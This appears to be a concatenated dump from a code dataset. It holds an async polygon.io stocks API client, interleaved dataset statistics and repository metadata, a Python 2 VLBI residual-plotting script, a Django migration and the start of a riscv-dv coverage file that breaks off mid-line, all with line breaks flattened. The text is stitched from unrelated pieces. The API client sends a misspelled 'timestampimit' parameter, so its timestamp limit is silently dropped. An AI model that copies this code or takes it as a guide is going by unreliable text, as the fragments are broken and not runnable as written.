Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param timestamp: The timestamp offset, used for pagination. Timestamp is the offset at which to start the results. Using the ``timestamp`` of the last result as the offset will give you the next page of results. Default: None. I'm trying to think of a good way to implement pagination support for this type of pagination. :param timestamp_limit: The maximum timestamp allowed in the results. Default: None :param reverse: Reverse the order of the results. Default True: oldest first. Make it False for Newest first :param limit: Limit the size of the response, max 50000 and default 5000. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v2/ticks/stocks/trades/{symbol.upper()}/{date}' _data = {'timestamp': timestamp, 'timestampimit': timestamp_limit, 'reverse': 'true' if reverse else 'false', 'limit': limit} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_trades_vx(self, symbol: str, timestamp: int = None, order=None, sort=None, limit: int = 5000, timestamp_lt=None, timestamp_lte=None, timestamp_gt=None, timestamp_gte=None, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get trades for a ticker symbol in a given time range. `Official Docs <https://polygon.io/docs/get_vX_trades__stockTicker__anchor>`__ :param symbol: The ticker symbol you want trades for. :param timestamp: Query by trade timestamp. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` or a nanosecond timestamp :param order: sort order. see :class:`polygon.enums.SortOrder` for available choices. defaults to None :param sort: field key to sort against. Defaults to None. see :class:`polygon.enums.StocksTradesSort` for choices :param limit: Limit the size of the response, max 50000 and default 5000. :param timestamp_lt: return results where timestamp is less than the given value. Can be date or date string. :param timestamp_lte: return results where timestamp is less than/equal to the given value. Can be date or date string. :param timestamp_gt: return results where timestamp is greater than the given value. Can be date or date string. :param timestamp_gte: return results where timestamp is greater than/equal to the given value. Can be date or date string. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(timestamp, (datetime.date, datetime.datetime)): timestamp = timestamp.strftime('%Y-%m-%d') if isinstance(timestamp_lt, (datetime.date, datetime.datetime)): timestamp_lt = timestamp_lt.strftime('%Y-%m-%d') if isinstance(timestamp_lte, (datetime.date, datetime.datetime)): timestamp_lte = timestamp_lte.strftime('%Y-%m-%d') if isinstance(timestamp_gt, (datetime.date, datetime.datetime)): timestamp_gt = timestamp_gt.strftime('%Y-%m-%d') if isinstance(timestamp_gte, (datetime.date, datetime.datetime)): timestamp_gte = timestamp_gte.strftime('%Y-%m-%d') _path = f'/vX/trades/{symbol}' _data = {'timestamp': timestamp, 'timestamp_lt': timestamp_lt, 'timestamp_lte': timestamp_lte, 'timestamp_gt': timestamp_gt, 'timestamp_gte': timestamp_gte, 'limit': limit, 'sort': self._change_enum(sort, str), 'order': self._change_enum(order, str)} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_quotes(self, symbol: str, date, timestamp: int = None, timestamp_limit: int = None, reverse: bool = True, limit: int = 5000, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get Quotes for a given ticker symbol on a specified date. The response from polygon seems to have a ``map`` attribute which gives a mapping of attribute names to readable values - Async method `Official Docs <https://polygon.io/docs/get_v2_ticks_stocks_nbbo__ticker___date__anchor>`__ :param symbol: The ticker symbol we want quotes for. :param date: The date/day of the quotes to retrieve. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param timestamp: The timestamp offset, used for pagination. Timestamp is the offset at which to start the results. Using the ``timestamp`` of the last result as the offset will give you the next page of results. Default: None. Thinking of a good way to implement this pagination here. :param timestamp_limit: The maximum timestamp allowed in the results. Default: None :param reverse: Reverse the order of the results. Default True: oldest first. Make it False for Newest first :param limit: Limit the size of the response, max 50000 and default 5000. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v2/ticks/stocks/nbbo/{symbol.upper()}/{date}' _data = {'timestamp': timestamp, 'timestampimit': timestamp_limit, 'reverse': 'true' if reverse else 'false', 'limit': limit} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_quotes_vx(self, symbol: str, timestamp: int = None, order=None, sort=None, limit: int = 5000, timestamp_lt=None, timestamp_lte=None, timestamp_gt=None, timestamp_gte=None, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get NBBO Quotes for a ticker symbol in a given time range. `Official Docs <https://polygon.io/docs/get_vX_quotes__stockTicker__anchor>`__ :param symbol: The ticker symbol you want quotes for. :param timestamp: Query by trade timestamp. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` or a nanosecond timestamp :param order: sort order. see :class:`polygon.enums.SortOrder` for available choices. defaults to None :param sort: field key to sort against. Defaults to None. see :class:`polygon.enums.StocksQuotesSort` for choices :param limit: Limit the size of the response, max 50000 and default 5000. :param timestamp_lt: return results where timestamp is less than the given value. Can be date or date string. :param timestamp_lte: return results where timestamp is less than/equal to the given value. Can be date or date string. :param timestamp_gt: return results where timestamp is greater than the given value. Can be date or date string. :param timestamp_gte: return results where timestamp is greater than/equal to the given value. Can be date or date string. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(timestamp, (datetime.date, datetime.datetime)): timestamp = timestamp.strftime('%Y-%m-%d') if isinstance(timestamp_lt, (datetime.date, datetime.datetime)): timestamp_lt = timestamp_lt.strftime('%Y-%m-%d') if isinstance(timestamp_lte, (datetime.date, datetime.datetime)): timestamp_lte = timestamp_lte.strftime('%Y-%m-%d') if isinstance(timestamp_gt, (datetime.date, datetime.datetime)): timestamp_gt = timestamp_gt.strftime('%Y-%m-%d') if isinstance(timestamp_gte, (datetime.date, datetime.datetime)): timestamp_gte = timestamp_gte.strftime('%Y-%m-%d') _path = f'/vX/quotes/{symbol}' _data = {'timestamp': timestamp, 'timestamp_lt': timestamp_lt, 'timestamp_lte': timestamp_lte, 'timestamp_gt': timestamp_gt, 'timestamp_gte': timestamp_gte, 'limit': limit, 'sort': self._change_enum(sort, str), 'order': self._change_enum(order, str)} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_last_trade(self, symbol: str, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the most recent trade for a given stock - Async method `Official Docs <https://polygon.io/docs/get_v2_last_trade__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/last/trade/{symbol.upper()}' _res = await self._get_response(_path) if raw_response: return _res return _res.json() async def get_last_quote(self, symbol: str, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the most recent NBBO (Quote) tick for a given stock - Async method `Official Docs <https://polygon.io/docs/get_v2_last_nbbo__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/last/nbbo/{symbol.upper()}' _res = await self._get_response(_path) if raw_response: return _res return _res.json() async def get_daily_open_close(self, symbol: str, date, adjusted: bool = True, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the OCHLV and after-hours prices of a stock symbol on a certain date - Async method `Official Docs <https://polygon.io/docs/get_v1_open-close__stocksTicker___date__anchor>`__ :param symbol: The ticker symbol we want daily-OCHLV for. :param date: The date/day of the daily-OCHLV to retrieve. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v1/open-close/{symbol.upper()}/{date}' _data = {'adjusted': 'true' if adjusted else 'false'} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_aggregate_bars(self, symbol: str, from_date, to_date, adjusted: bool = True, sort='asc', limit: int = 5000, multiplier: int = 1, timespan='day', raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get aggregate bars for a stock over a given date range in custom time window sizes. For example, if ``timespan = ‘minute’`` and ``multiplier = ‘5’`` then 5-minute bars will be returned - Async method `Official Docs <https://polygon.io/docs/get_v2_aggs_ticker__stocksTicker__range__multiplier___timespan___from___to__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param from_date: The start of the aggregate time window. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param to_date: The end of the aggregate time window. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param sort: Sort the results by timestamp. See :class:`polygon.enums.SortOrder` for choices. ``asc`` default. :param limit: Limits the number of base aggregates queried to create the aggregate results. Max 50000 and Default 5000. :param multiplier: The size of the timespan multiplier. Must be a positive whole number. :param timespan: The size of the time window. See :class:`polygon.enums.Timespan` for choices. defaults to ``day`` :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(from_date, (datetime.date, datetime.datetime)): from_date = from_date.strftime('%Y-%m-%d') if isinstance(to_date, (datetime.date, datetime.datetime)): to_date = to_date.strftime('%Y-%m-%d') _path = f'/v2/aggs/ticker/{symbol.upper()}/range/{multiplier}/{timespan}/{from_date}/{to_date}' _data = {'adjusted': 'true' if adjusted else 'false', 'sort': sort, 'limit': limit} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_grouped_daily_bars(self, date, adjusted: bool = True, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the daily OCHLV for the entire stocks/equities markets - Async method `Official docs <https://polygon.io/docs/get_v2_aggs_grouped_locale_us_market_stocks__date__anchor>`__ :param date: The date to get the data for. Could be ``datetime`` or ``date`` or string ``YYYY-MM-DD`` :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ if isinstance(date, (datetime.date, datetime.datetime)): date = date.strftime('%Y-%m-%d') _path = f'/v2/aggs/grouped/locale/us/market/stocks/{date}' _data = {'adjusted': 'true' if adjusted else 'false'} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_previous_close(self, symbol: str, adjusted: bool = True, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the previous day's OCHLV for the specified stock ticker - Async method `Official Docs <https://polygon.io/docs/get_v2_aggs_ticker__stocksTicker__prev_anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param adjusted: Whether or not the results are adjusted for splits. By default, results are adjusted. Set this to false to get results that are NOT adjusted for splits. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/aggs/ticker/{symbol.upper()}/prev' _data = {'adjusted': 'true' if adjusted else 'false'} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_snapshot(self, symbol: str, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for a single traded stock ticker - Async method `Official Docs <https://polygon.io/docs/get_v2_snapshot_locale_us_markets_stocks_tickers__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/snapshot/locale/us/markets/stocks/tickers/{symbol.upper()}' _res = await self._get_response(_path) if raw_response: return _res return _res.json() async def get_current_price(self, symbol: str) -> float: """ get current market price for the ticker symbol specified - Async method Uses :meth:`get_last_trade` under the hood `Official Docs <https://polygon.io/docs/get_v2_last_trade__stocksTicker__anchor>`__ :param symbol: The ticker symbol of the stock/equity. :return: The current price. A ``KeyError`` indicates the request wasn't successful. """ _res = await self.get_last_trade(symbol) return _res['results']['p'] async def get_snapshot_all(self, symbols: list = None, raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the current minute, day, and previous day’s aggregate, as well as the last trade and quote for all traded stock symbols - Async method `Official Docs <https://polygon.io/docs/get_v2_snapshot_locale_us_markets_stocks_tickers_anchor>`__ :param symbols: A comma separated list of tickers to get snapshots for. Defaults to ALL tickers :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/snapshot/locale/us/markets/stocks/tickers' if symbols is not None: _data = {'tickers': ','.join([x.upper() for x in symbols])} else: _data = {'tickers': None} _res = await self._get_response(_path, params=_data) if raw_response: return _res return _res.json() async def get_gainers_and_losers(self, direction='gainers', raw_response: bool = False) -> Union[HttpxResponse, dict]: """ Get the current top 20 gainers or losers of the day in stocks/equities markets - Async method `Official Docs <https://polygon.io/docs/get_v2_snapshot_locale_us_markets_stocks__direction__anchor>`__ :param direction: The direction of results. Defaults to gainers. See :class:`polygon.enums.SnapshotDirection` for choices :param raw_response: Whether or not to return the ``Response`` Object. Useful for when you need to say check the status code or inspect the headers. Defaults to False which returns the json decoded dictionary. :return: A JSON decoded Dictionary by default. Make ``raw_response=True`` to get underlying response object """ _path = f'/v2/snapshot/locale/us/markets/stocks/{self._change_enum(direction, str)}' _res = await self._get_response(_path) if raw_response: return _res return _res.json() # ========================================================= # if __name__ == '__main__': # Tests print('Don\'t You Dare Running Lib Files Directly') # ========================================================= #
52.023566
120
0.63159
6,484
50,775
4.801049
0.052899
0.036749
0.035079
0.028783
0.969386
0.965821
0.963829
0.963829
0.96203
0.961677
0
0.005514
0.278543
50,775
975
121
52.076923
0.844289
0.301743
0
0.82866
0
0.012461
0.120503
0.057066
0
0
0
0
0
1
0.05296
false
0
0.015576
0
0.249221
0.003115
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0c4723619f37633e1434883572d7b7b576f7d29d
8,687
py
Python
vlbi_errors/heteroboot.py
akutkin/SACA
2d9b759e2de91734f7f7b61b8810ffbd73443d9a
[ "MIT" ]
null
null
null
vlbi_errors/heteroboot.py
akutkin/SACA
2d9b759e2de91734f7f7b61b8810ffbd73443d9a
[ "MIT" ]
1
2019-10-16T20:36:19.000Z
2020-03-24T19:28:01.000Z
vlbi_errors/heteroboot.py
ipashchenko/ve
b866b6d9465310d4cd5bb4d2e92595d918b681d0
[ "MIT" ]
null
null
null
import matplotlib label_size = 6 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size import os import numpy as np from uv_data import UVData from model import Model from from_fits import create_model_from_fits_file from bootstrap import CleanBootstrap from spydiff import import_difmap_model from utils import baselines_2_ants # Path to project's root directory base_path = '/home/ilya/sandbox/heteroboot/' path_to_script = '/home/ilya/Dropbox/Zhenya/to_ilya/clean/final_clean_nw' # Colors used colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k'] # Workflow for one source source = '0945+408' epoch = '2007_04_18' band = 'u' # TODO: Standard it image_fname = 'original_cc.fits' uv_fname_cc = '0945+408.u.2007_04_18.uvf' uv_fname_uv = '0945+408.u.2007_04_18.uvf' dfm_model_fname = 'dfmp_original_model.mdl' comps = import_difmap_model(dfm_model_fname, base_path) model_uv = Model(stokes='I') model_uv.add_components(*comps) uvdata = UVData(os.path.join(base_path, uv_fname_uv)) uvdata_m = UVData(os.path.join(base_path, uv_fname_uv)) uvdata_m.substitute([model_uv]) uvdata_r = uvdata - uvdata_m # Plot uv-data label_size = 12 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size uvdata.uvplot(style='re&im', freq_average=True) matplotlib.pyplot.show() matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/uvdata_original.png', bbox_inches='tight', dpi=400) matplotlib.pyplot.close() # # Plot residuals in radplot # label_size = 12 # matplotlib.rcParams['xtick.labelsize'] = label_size # matplotlib.rcParams['ytick.labelsize'] = label_size # for i, color in enumerate(colors): # uvdata_r.uvplot(baselines=uvdata_r.baselines[i], freq_average=True, # color=color, style='re&im') # matplotlib.pyplot.show() # matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/radplot_res_gauss.png', # bbox_inches='tight', dpi=400) # matplotlib.pyplot.close() # Plot model in radplot label_size = 12 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size uvdata_m.uvplot(style='re&im', freq_average=True) matplotlib.pyplot.show() matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/radplot_mod_gauss.png', bbox_inches='tight', dpi=400) matplotlib.pyplot.close() # Plot residuals label_size = 6 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size nrows = int(np.sqrt(2. * len(uvdata_r.baselines))) # nrows = int(np.sqrt(2. * len(uvdata_r.baselines))) + 1 fig, axes = matplotlib.pyplot.subplots(nrows=nrows, ncols=nrows, sharex=True, sharey=True) fig.set_size_inches(18.5, 18.5) matplotlib.pyplot.rcParams.update({'axes.titlesize': 'small'}) i, j = 0, 0 for baseline in uvdata_r.baselines: try: print "baseline {}".format(baseline) res = uvdata_r._choose_uvdata(baselines=[baseline], freq_average=True, stokes='I')[0] print "Plotting to {}-{}".format(i, j) axes[i, j].hist(res.real, range=[-0.15, 0.15], color="#4682b4") axes[i, j].axvline(0.0, lw=1, color='r') # axes[i, j].set_title("{}-{}".format(baseline, 'real'), fontsize=4) axes[i, j].set_xticks([-0.1, 0.1]) j += 1 # Plot first row first if j // nrows > 0: # Then second row, etc... i += 1 j = 0 print "Plotting to {}-{}".format(i, j) axes[i, j].hist(res.imag, range=[-0.15, 0.15], color="#4682b4") axes[i, j].axvline(0.0, lw=1, color='r') # axes[i, j].set_title("{}-{}".format(baseline, 'imag'), fontsize=4) axes[i, j].set_xticks([-0.1, 0.1]) j += 1 # Plot first row first if j // nrows > 0: # Then second row, etc... i += 1 j = 0 except IndexError: break fig.show() fig.savefig("{}.{}".format(os.path.join(base_path, 'res_gauss'), 'png'), bbox_inches='tight', dpi=400) matplotlib.pyplot.close() ccmodel = create_model_from_fits_file(os.path.join(base_path, image_fname)) uvdata = UVData(os.path.join(base_path, uv_fname_cc)) uvdata_m = UVData(os.path.join(base_path, uv_fname_cc)) uvdata_m.substitute([ccmodel]) uvdata_r = uvdata - uvdata_m # FIXME: Plot different colors for different baselines! # Plot residuals in radplot label_size = 12 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size uvdata_r.uvplot(style='re&im', freq_average=True, re_range=[-0.3, 0.3], im_range=[-0.3, 0.3]) matplotlib.pyplot.show() matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/radplot_res_cc.png', bbox_inches='tight', dpi=400) matplotlib.pyplot.close() # for i, color in enumerate(colors): # uvdata_r.uvplot(baselines=uvdata_r.baselines[i], freq_average=True, # color=color, style='re&im') # matplotlib.pyplot.show() # matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/radplot_res_cc.png', # bbox_inches='tight', dpi=400) # matplotlib.pyplot.close() # Plot model in radplot label_size = 12 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size uvdata_m.uvplot(style='re&im', freq_average=True) matplotlib.pyplot.show() matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/radplot_mod_cc.png', bbox_inches='tight', dpi=400) matplotlib.pyplot.close() # Plot residuals label_size = 6 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size # nrows = int(np.sqrt(2. * len(uvdata_r.baselines))) + 1 nrows = int(np.sqrt(2. * len(uvdata_r.baselines))) fig, axes = matplotlib.pyplot.subplots(nrows=nrows, ncols=nrows, sharex=True, sharey=True) fig.set_size_inches(18.5, 18.5) matplotlib.pyplot.rcParams.update({'axes.titlesize': 'small'}) i, j = 0, 0 for baseline in uvdata_r.baselines: try: print "baseline {}".format(baseline) res = uvdata_r._choose_uvdata(baselines=[baseline], freq_average=True, stokes='I')[0] print "Plotting to {}-{}".format(i, j) axes[i, j].hist(res.real, color="#4682b4", range=[-0.15, 0.15]) axes[i, j].axvline(0.0, lw=1, color='r') # axes[i, j].set_title("{}-{}".format(baseline, 'real'), fontsize=4) axes[i, j].set_xticks([-0.1, 0.1]) j += 1 # Plot first row first if j // nrows > 0: # Then second row, etc... i += 1 j = 0 print "Plotting to {}-{}".format(i, j) axes[i, j].hist(res.imag, color="#4682b4", range=[-0.15, 0.15]) axes[i, j].axvline(0.0, lw=1, color='r') # axes[i, j].set_title("{}-{}".format(baseline, 'imag'), fontsize=4) axes[i, j].set_xticks([-0.1, 0.1]) j += 1 # Plot first row first if j // nrows > 0: # Then second row, etc... i += 1 j = 0 except IndexError: break fig.show() fig.savefig("{}.{}".format(os.path.join(base_path, 'res_cc'), 'png'), bbox_inches='tight', dpi=400) matplotlib.pyplot.close() # Plot uv-coverage label_size = 12 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size for i, color in enumerate(colors): uvdata_r.uv_coverage(baselines=baselines_2_ants(uvdata_r.baselines)[i], sym='.{}'.format(color)) matplotlib.pyplot.show() matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/uv.png', bbox_inches='tight', dpi=400) matplotlib.pyplot.close() # Plot several histograms label_size = 12 matplotlib.rcParams['xtick.labelsize'] = label_size matplotlib.rcParams['ytick.labelsize'] = label_size for i, color in enumerate(colors): baseline = uvdata_r.baselines[i] res = uvdata_r._choose_uvdata(baselines=[baseline], freq_average=True, stokes='I')[0] matplotlib.pyplot.hist(res.real, color="#4682b4", range=[-0.16, 0.16], bins=20) matplotlib.pyplot.axvline(0.0, lw=2, color='r') matplotlib.pyplot.xlabel("residuals, Jy") matplotlib.pyplot.ylabel("N") matplotlib.pyplot.show() matplotlib.pyplot.savefig('/home/ilya/sandbox/heteroboot/res_b{}.png'.format(i+1), bbox_inches='tight', dpi=400) matplotlib.pyplot.close()
38.100877
86
0.646483
1,209
8,687
4.501241
0.142266
0.099963
0.066152
0.058802
0.828004
0.805586
0.805586
0.787946
0.780228
0.771775
0
0.033932
0.199378
8,687
227
87
38.268722
0.748526
0.193623
0
0.684848
0
0
0.146881
0.061799
0
0
0
0.004405
0
0
null
null
0
0.060606
null
null
0.036364
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
0c5672e88e6e9abfbdb0276ed2619c0709076d3e
1,682
py
Python
accounts/migrations/0007_auto_20190304_0157.py
Joao-Maria-Janeiro/SaoPerolasDjango
c0c5f328c516d5364adc791817d25dab36f93204
[ "MIT" ]
7
2018-09-30T14:41:45.000Z
2019-05-14T16:06:28.000Z
accounts/migrations/0007_auto_20190304_0157.py
Joao-Maria-Janeiro/SaoPerolasDjango
c0c5f328c516d5364adc791817d25dab36f93204
[ "MIT" ]
null
null
null
accounts/migrations/0007_auto_20190304_0157.py
Joao-Maria-Janeiro/SaoPerolasDjango
c0c5f328c516d5364adc791817d25dab36f93204
[ "MIT" ]
null
null
null
# Generated by Django 2.1.7 on 2019-03-04 01:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('accounts', '0006_auto_20190304_0038'), ] operations = [ migrations.AddField( model_name='userprofile', name='address_value', field=models.CharField(default='', max_length=40), preserve_default=False, ), migrations.AddField( model_name='userprofile', name='cell_number', field=models.CharField(default='', max_length=40), preserve_default=False, ), migrations.AddField( model_name='userprofile', name='country', field=models.CharField(default='', max_length=40), preserve_default=False, ), migrations.AddField( model_name='userprofile', name='last_name', field=models.CharField(default='', max_length=40), preserve_default=False, ), migrations.AddField( model_name='userprofile', name='localidade', field=models.CharField(default='', max_length=40), preserve_default=False, ), migrations.AddField( model_name='userprofile', name='name', field=models.CharField(default='', max_length=40), preserve_default=False, ), migrations.AddField( model_name='userprofile', name='zip_code', field=models.CharField(default='', max_length=40), preserve_default=False, ), ]
30.035714
62
0.557075
152
1,682
5.980263
0.309211
0.138614
0.177118
0.207921
0.778878
0.778878
0.732673
0.732673
0.732673
0.732673
0
0.039788
0.327586
1,682
55
63
30.581818
0.763926
0.026754
0
0.714286
1
0
0.103976
0.014067
0
0
0
0
0
1
0
false
0
0.020408
0
0.081633
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
0c61c3415df1a7ee32009c1e4cd23ab982ecf630
593,208
py
Python
pygen/pygen_src/riscv_instr_cover_group.py
vogelpi/riscv-dv
cc4b87057cb38c91cb0c2ecb065e38281df7aa97
[ "Apache-2.0" ]
1
2022-03-30T23:17:43.000Z
2022-03-30T23:17:43.000Z
pygen/pygen_src/riscv_instr_cover_group.py
vogelpi/riscv-dv
cc4b87057cb38c91cb0c2ecb065e38281df7aa97
[ "Apache-2.0" ]
null
null
null
pygen/pygen_src/riscv_instr_cover_group.py
vogelpi/riscv-dv
cc4b87057cb38c91cb0c2ecb065e38281df7aa97
[ "Apache-2.0" ]
null
null
null
"""Copyright 2020 Google LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import traceback from pygen_src.isa.riscv_cov_instr import * class riscv_instr_cover_group: def __init__(self): self.pre_instr = riscv_cov_instr() self.cfg = None self.instr_list = [] self.instr_cnt = 0 self.branch_instr_cnt = 0 self.branch_hit_history = vsc.bit_t(5) # The last 5 branch result self.ignored_exceptions = [] self.exception_list = [] ''' Mode of the coverage model: In compliance mode, all the micro-architecture related covergroups are removed. Only the ones related to RISC-V specification compliance is sampled. ''' self.compliance_mode = vsc.bit_t(1) self.select_isa = vsc.bit_t(1) # Select an ISA extension to cover self.cov_isa = None self.cg_instantiation() '''Format specific covergroups''' @vsc.covergroup class r_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs2 = vsc.coverpoint(lambda: self.instr.rs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rs2_sign = vsc.coverpoint(lambda: self.instr.rs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class i_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rs1_sign = vsc.coverpoint(lambda: self.instr.rs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) @vsc.covergroup class u_instr_cg(object): def __init__(self): super().__init__() self.instr = None self.cp_rd = vsc.coverpoint(lambda: self.instr.rd, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_rd_sign = vsc.coverpoint(lambda: self.instr.rd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, 